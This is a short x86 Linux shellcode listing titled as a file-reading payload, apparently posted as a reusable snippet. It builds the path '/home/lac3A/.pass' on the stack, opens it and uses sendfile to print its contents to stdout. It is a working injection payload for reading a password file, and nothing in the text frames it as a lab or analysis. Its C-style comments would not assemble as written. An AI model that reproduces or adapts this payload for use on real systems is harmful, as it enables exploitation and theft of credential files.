[Read File to STDOUT x86 Shellcode] #shellcode #sendfile #assembly #x86

cat_file.asm

BITS 32
/* Zero out registers */
xor ecx, ecx
mul ecx
/* NULL byte */
push ecx
/* push filename */
push 0x73
push 0x7361702e
push 0x2f413363
push 0x616c2f65
push 0x6d6f682f
/* filename pointer in ebx */
mov ebx, esp
/* syscall open(filename, 0, 0) */
mov al, 0x5
int 0x80
/* sendfile the received handle to STDOUT (fd 1) */
mov ecx, eax
xor ebx, ebx
mul ebx
inc ebx
mov al, 0xbb
mov esi, eax
shl esi, 8
int 0x80